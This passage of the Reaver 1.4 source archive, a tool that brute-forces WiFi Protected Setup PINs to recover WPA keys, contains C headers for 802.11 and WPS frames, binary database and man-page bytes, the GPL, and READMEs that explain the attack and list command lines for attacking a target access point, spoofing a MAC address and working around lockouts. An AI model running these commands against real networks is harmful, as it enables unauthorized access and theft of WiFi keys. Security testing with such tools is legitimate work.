0x0C, DONE = 0x0F, NACK = 0x0E }; enum rt_header_flags { TSFT_FLAG = 0x01, FLAGS_FLAG = 0x02, RATE_FLAG = 0x04, CHANNEL_FLAG = 0x08, FHSS_FLAG = 0x10, SSI_FLAG = 0x20, }; enum wfa_elements { AP_CHANNEL = 0x1001, ASSOCIATION_STATE = 0x1002, AUTHENTICATION_TYPE = 0x1003, AUTHENTICATION_TYPE_FLAGS = 0x1004, AUTHENTICATOR = 0x1005, CONFIG_METHODS = 0x1008, CONFIGURATION_ERROR = 0x1009, CONFIRMATION_URL_4 = 0x100A, CONFIRMATION_URL_6 = 0x100B, CONNECTION_TYPE = 0x100C, CONNECTION_TYPE_FLAGS = 0x100D, CREDENTIAL = 0x100E, DEVICE_NAME = 0x1011, DEVICE_PASSWORD_ID = 0x1012, ENROLLEE_HASH_1 = 0x1014, ENROLLEE_HASH_2 = 0x1015, ENROLLEE_SNONCE_1 = 0x1016, ENROLLEE_SNONCE_2 = 0x1017, ENCRYPTED_SETTINGS = 0x1018, ENCRYPTION_TYPE = 0x100F, ENCRYPTION_TYPE_FLAGS = 0x1010, ENROLLEE_NONCE = 0x101A, FEATURE_ID = 0x101B, IDENTITY = 0x101C, IDENTITY_PROOF = 0x101D, KEY_WRAP_AUTHENTICATOR = 0x101E, KEY_IDENTIFIER = 0x101F, MAC_ADDRESS = 0x1020, MANUFACTURER = 0x1021, MESSAGE_TYPE = 0x1022, MODEL_NAME = 0x1023, MODEL_NUMBER = 0x1024, NETWORK_INDEX = 0x1026, NETWORK_KEY = 0x1027, NETWORK_KEY_INDEX = 0x1028, NEW_DEVICE_NAME = 0x1029, NEW_PASSWORD = 0x102A, OOB_DEVICE_PASSWORD = 0x102C, OS_VERSION = 0x102D, POWER_LEVEL = 0x102F, PSK_CURRENT = 0x1030, PSK_MAX = 0x1031, PUBLIC_KEY = 0x1032, RADIO_ENABLED = 0x1033, REBOOT = 0x1034, REGISTRAR_CURRENT = 0x1035, REGISTRAR_ESTABLISHED = 0x1036, REGISTRAR_LIST = 0x1037, REGISTRAR_MAX = 0x1038, REGISTRAR_NONCE = 0x1039, REQUEST_TYPE = 0x103A, RESPONSE_TYPE = 0x103B, RF_BANDS = 0x103C, REGISTRAR_HASH_1 = 0x103D, REGISTRAR_HASH_2 = 0x103E, REGISTRAR_SNONCE_1 = 0x103F, REGISTRAR_SNONCE_2 = 0x1040, SELECTED_REGISTRAR = 0x1041, SERIAL_NUMBER = 0x1042, WPS_STATE = 0x1044, SSID = 0x1045, TOTAL_NETWORKS = 0x1046, ENROLLEE_UUID = 0x1047, REGISTRAR_UUID = 0x1048, VENDOR_EXTENSION = 0x1049, VERSION = 0x104A, X509_CERT_REQUEST = 0x104B, X509_CERT = 0x104C, WPS_EAP_IDENTITY = 0x104D, MESSAGE_COUNTER = 0x104E, PUBLIC_KEY_HASH = 0x104F, REKEY_KEY = 0x1050, KEY_LIFETIME = 0x1051, PERMITTED_CONFIG_METHODS = 0x1052, SELECTED_REGISTRAR_CONFIG_METHODS = 0x1053, PRIMARY_DEVICE_TYPE = 0x1054, SECONDARY_DEVICE_TYPE_LIST = 0x1055, PORTABLE_DEVICE = 0x1056, AP_SETUP_LOCKED = 0x1057, APPLICATION_EXTENSION = 0x1058, EAP_TYPE = 0x1059, INITIALIZATION_VECTOR = 0x1060, KEY_PROVIDED_AUTOMATICALLY = 0x1061, ENABLED_8021X = 0x1062, APP_SESSION_KEY = 0x1063, WEP_TRANSMIT_KEY = 0x10064 }; #pragma pack(1) struct radio_tap_header { uint8_t revision; uint8_t pad; uint16_t len; uint32_t flags; }; struct frame_control { unsigned version : 2; unsigned type : 2; unsigned sub_type : 4; unsigned to_ds : 1; unsigned from_ds : 1; unsigned more_frag : 1; unsigned retry : 1; unsigned pwr_mgt : 1; unsigned more_data : 1; unsigned protected_frame : 1; unsigned order : 1; }; struct dot11_frame_header { struct frame_control fc; uint16_t duration; unsigned char addr1[MAC_ADDR_LEN]; unsigned char addr2[MAC_ADDR_LEN]; unsigned char addr3[MAC_ADDR_LEN]; uint16_t frag_seq; }; struct authentication_management_frame { uint16_t algorithm; uint16_t sequence; uint16_t status; }; struct association_request_management_frame { uint16_t capability; uint16_t listen_interval; }; struct association_response_management_frame { uint16_t capability; uint16_t status; uint16_t id; }; struct beacon_management_frame { unsigned char timestamp[TIMESTAMP_LEN]; uint16_t beacon_interval; uint16_t capability; }; struct llc_header { uint8_t dsap; uint8_t ssap; uint8_t control_field; unsigned char org_code[3]; uint16_t type; }; struct dot1X_header { uint8_t version; uint8_t type; uint16_t len; }; struct eap_header { uint8_t code; uint8_t id; uint16_t len; uint8_t type; }; struct wfa_expanded_header { unsigned char id[3]; uint32_t type; uint8_t opcode; uint8_t flags; }; struct wfa_element_header { uint16_t type; uint16_t length; }; struct tagged_parameter { uint8_t number; uint8_t len; }; #pragma pack() #define MIN_BEACON_SIZE (sizeof(struct radio_tap_header) + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame)) #endif reaver-1.4/src/reaver.db0000644000175000017500000003400011705505260014554 0ustar reaverreaverSQLite format 3@ -_ vvPڂ`tablesurveysurveyCREATE TABLE survey (bssid TEXT PRIMARY KEY NOT NULL, essid TEXT, manufacturer TEXT, model_name TEXT, model_number TEXT, device_name TEXT, version INTEGER DEFAULT 0, state INTEGER DEFAULT 0, locked INTEGER DEFAULT 0, encryption INTEGER DEFAULT 0, probes INTEGER DEFAULT 0, beacons INTEGER DEFAULT 0, complete INTEGER DEFAULT 0)U tablestatusstatusCREATE TABLE status (id INTEGER PRIMARY KEY, survey INTEGER DEFAULT 0, attack INTEGER DEFAULT 0, paused INTEGER DEFAULT 0, started INTEGER DEFAULT 0, stopped INTEGER DEFAULT 0, bssid TEXT)- Aindexsqlite_autoindex_history_1history+ ?indexsqlite_autoindex_survey_1survey>- 1tablehistoryhistoryCREATE TABLE history (bssid TEXT PRIMARY KEY NOT NULL, essid TEXT, timestamp TEXT DEFAULT CURRENT_TIMESTAMP, attempts INTEGER DEFAULT 0, key TEXT)       reaver-1.4/src/wpscrack.h0000644000175000017500000000351111705505260014752 0ustar reaverreaver/* * Reaver - Main and usage functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef WPSCRACK_H #define WPSCRACK_H #include "defs.h" #include "argsparser.h" #include "sigint.h" #include "cracker.h" #define BELL "\x07" #define BELL_COUNT 4 void parse_recurring_delay(char *arg); int usage(char *prog_name); #endif reaver-1.4/src/sigint.h0000644000175000017500000000340411705505260014433 0ustar reaverreaver/* * Reaver - Sigint handler functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef SIGINT_H #define SIGINT_H #include #include "globule.h" #include "send.h" #include "session.h" void sigint_init(); void sigint_handler(int x); #endif reaver-1.4/src/exchange.h0000644000175000017500000000463111705505260014723 0ustar reaverreaver/* * Reaver - WPS exchange functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef EXCHANGE_H #define EXCHANGE_H #include #include "defs.h" #include "globule.h" #include "send.h" #include "misc.h" #include "80211.h" #define DATA_FRAME 0x02 #define SUBTYPE_DATA 0x00 #define MIN_PACKET_SIZE (sizeof(struct radio_tap_header) + sizeof(struct dot11_frame_header) + sizeof(struct llc_header) + sizeof(struct dot1X_header)) #define EAP_PACKET_SIZE (MIN_PACKET_SIZE + sizeof(struct eap_header)) #define WFA_PACKET_SIZE (EAP_PACKET_SIZE + sizeof(struct wfa_expanded_header)) #define MAX_MESSAGE_RETRIES 3 enum wps_result do_wps_exchange(); enum wps_type process_packet(const u_char *packet, struct pcap_pkthdr *header); enum wps_type process_wps_message(const void *data, size_t data_size); int parse_nack(const void *data, size_t data_size); #endif reaver-1.4/docs/0000755000175000017500000000000011705505256013132 5ustar reaverreaverreaver-1.4/docs/README.WASH0000644000175000017500000000260711705505256014560 0ustar reaverreaverWASH USAGE Wash is a utility for identifying WPS enabled access points. It can survey from a live interface: # wash -i mon0 Or it can scan a list of pcap files: # wash -f capture1.pcap capture2.pcap capture3.pcap Wash will only show access points that support WPS. Wash displays the following information for each discovered access point: BSSID The BSSID of the AP Channel The APs channel, as specified in the AP's beacon packet WPS Version The WPS version supported by the AP WPS Locked The locked status of WPS, as reported in the AP's beacon packet ESSID The ESSID of the AP By default, wash will perform a passive survey. However, wash can be instructed to send probe requests to each AP in order to obtain more information about the AP: # wash -i mon0 --scan By sending probe requests, wash will illicit a probe response from each AP. For WPS-capable APs, the WPS information element typically contains additional information about the AP, including make, model, and version data. This data is stored in the survey table of the reaver.db database. The reaver.db SQLite database contains three tables: history This table lists attack history, including percent complete and recovered WPA keys survey This table is re-populated each time wash is run with detailed access point information status This table is used to indicate the overall status of wash/reaver reaver-1.4/docs/reaver.1.gz0000644000175000017500000000200111705505256015110 0ustar reaverreaver Nreaver.1Un6}W |)t ;7vm#r(>PH"B IHwUs̙ Q %V)1̧3⟯Fq(ލ(ϻ$l);RP&˅[RX z2Cr?m7SSUB<H]r$B(2>gAـ2` cd RB-Z9]HCm"U@EK8j2M!DyI:Մ>suǘ'5J+)>*wia|pA5BpDp3Wr-Q !AlG \xght|_C9 f^yhikjb=okky7yؓ&Qk-N`SpPh״@Z*pP7|kִz ^E2R p)rqtnQ:5*XU6tz&lʰi׎?؍C5ħ<w;ZC%cYJ{_u_okP Ӑ^5EE HO֘ z7Ԇ611D`8Z /A]HkN#)/8c@yB'3RȬlhLjG>n^5V>*ӊ]~NO\u_%ʘ>8D ԒRHɌ5/X_o_9=i'E=<>ƣzMreaver-1.4/docs/LICENSE0000644000175000017500000003542611705505256014151 0ustar reaverreaver GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS reaver-1.4/docs/README0000644000175000017500000000775611705505256014031 0ustar reaverreaverOVERVIEW Reaver performs a brute force attack against an access point's WiFi Protected Setup pin number. Once the WPS pin is found, the WPA PSK can be recovered and alternately the AP's wireless settings can be reconfigured. While Reaver does not support reconfiguring the AP, this can be accomplished with wpa_supplicant once the WPS pin is known. DESCRIPTION Reaver targets the external registrar functionality mandated by the WiFi Protected Setup specification. Access points will provide authenticated registrars with their current wireless configuration (including the WPA PSK), and also accept a new configuration from the registrar. In order to authenticate as a registrar, the registrar must prove its knowledge of the AP's 8-digit pin number. Registrars may authenticate themselves to an AP at any time without any user interaction. Because the WPS protocol is conducted over EAP, the registrar need only be associated with the AP and does not need any prior knowledge of the wireless encryption or configuration. Reaver performs a brute force attack against the AP, attempting every possible combination in order to guess the AP's 8 digit pin number. Since the pin numbers are all numeric, there are 10^8 (100,000,000) possible values for any given pin number. However, because the last digit of the pin is a checksum value which can be calculated based on the previous 7 digits, that key space is reduced to 10^7 (10,000,000) possible values. The key space is reduced even further due to the fact that the WPS authentication protocol cuts the pin in half and validates each half individually. That means that there are 10^4 (10,000) possible values for the first half of the pin and 10^3 (1,000) possible values for the second half of the pin, with the last digit of the pin being a checksum. Reaver brute forces the first half of the pin and then the second half of the pin, meaning that the entire key space for the WPS pin number can be exhausted in 11,000 attempts. The speed at which Reaver can test pin numbers is entirely limited by the speed at which the AP can process WPS requests. Some APs are fast enough that one pin can be tested every second; others are slower and only allow one pin every ten seconds. Statistically, it will only take half of that time in order to guess the correct pin number. INSTALLATION Reaver is only supported on the Linux platform, requires the libpcap and libsqlite3 libraries, and can be built and installed by running: $ ./configure $ make # make install To remove everything installed/created by Reaver: # make distclean KNOWN BUGS o Some drivers don't play nice with Reaver (check the wiki for the latest list) FILES The following are Reaver source files: o 80211.c Functions for reading, sending, and parsing 802.11 management frames o builder.c Functions for building packets and packet headers o config.h Generated by the configure script o cracker.c Core cracking functions for Reaver. o defs.h Common header with most required definitions and declarations o exchange.c Functions for initiating and processing a WPS exchange o globule.c Wrapper functions for accessing global settings o iface.c Network interface functions o init.c Initialization functions o keys.c Contains tables of all possible pins o misc.c Mac address conversion, debug print functions, etc o pins.c Pin generation and randomization functions o send.c Functions for sending WPS response messages o sigalrm.c Functions for handling SIGALRM interrupts o sigint.c Functions for handling SIGINT interrupts o wpscrack.c Main Reaver source file o wps.h Includes for wps wpa_supplicant functions o libwps/* Generic library code for parsing WPS information elements The following files have been taken from wpa_supplicant. Some have been modified from their original sources: o common/* o crypto/* o tls/* o utils/* o wps/* The lwe directory contains Wireless Tools version 29, used for interfacing with Linux Wireless Extensions. reaver-1.4/docs/README.REAVER0000644000175000017500000000723411705505256015003 0ustar reaverreaverREAVER USAGE Usually, the only required arguments to Reaver are the interface name and the BSSID of the target AP: # reaver -i mon0 -b 00:01:02:03:04:05 It is suggested that you run Reaver in verbose mode in order to get more detailed information about the attack as it progresses: # reaver -i mon0 -b 00:01:02:03:04:05 -vv The channel and SSID (provided that the SSID is not cloaked) of the target AP will be automatically identified by Reaver, unless explicitly specified on the command line: # reaver -i mon0 -b 00:01:02:03:04:05 -c 11 -e linksys Since version 1.3, Reaver implements the small DH key optimization as suggested by Stefan which can speed up the attack speed: # reaver -i mon0 -b 00:01:02:03:04:05 --dh-small By default, if the AP switches channels, Reaver will also change its channel accordingly. However, this feature may be disabled by fixing the interface's channel: # reaver -i mon0 -b 00:01:02:03:04:05 --fixed When spoofing your MAC address, you must set the desired address to spoof using the ifconfig utility, and additionally tell Reaver what the spoofed address is: # reaver -i mon0 -b 00:01:02:03:04:05 --mac=AA:BB:CC:DD:EE:FF The default receive timeout period is 5 seconds. This timeout period can be set manually if necessary (minimum timeout period is 1 second): # reaver -i mon0 -b 00:01:02:03:04:05 -t 2 The default delay period between pin attempts is 1 second. This value can be increased or decreased to any non-negative integer value. A value of zero means no delay: # reaver -i mon0 -b 00:01:02:03:04:05 -d 0 Some APs will temporarily lock their WPS state, typically for five minutes or less, when "suspicious" activity is detected. By default when a locked state is detected, Reaver will check the state every 315 seconds (5 minutes and 15 seconds) and not continue brute forcing pins until the WPS state is unlocked. This check can be increased or decreased to any non-negative integer value: # reaver -i mon0 -b 00:01:02:03:04:05 --lock-delay=250 The default timeout period for receiving the M5 and M7 WPS response messages is .1 seconds. This timeout period can be set manually if necessary (max timeout period is 1 second): # reaver -i mon0 -b 00:01:02:03:04:05 -T .5 Some poor WPS implementations will drop a connection on the floor when an invalid pin is supplied instead of responding with a NACK message as the specs dictate. To account for this, if an M5/M7 timeout is reached, it is treated the same as a NACK by default. However, if it is known that the target AP sends NACKS (most do), this feature can be disabled to ensure better reliability. This option is largely useless as Reaver will auto-detect if an AP properly responds with NACKs or not: # reaver -i mon0 -b 00:01:02:03:04:05 --nack While most APs don't care, sending an EAP FAIL message to close out a WPS session is sometimes necessary. By default this feature is disabled, but can be enabled for those APs that need it: # reaver -i mon0 -b 00:01:02:03:04:05 --eap-terminate When 10 consecutive unexpected WPS errors are encountered, a warning message will be displayed. Since this may be a sign that the AP is rate limiting pin attempts or simply being overloaded, a sleep can be put in place that will occur whenever these warning messages appear: # reaver -i mon0 -b 00:01:02:03:04:05 --fail-wait=360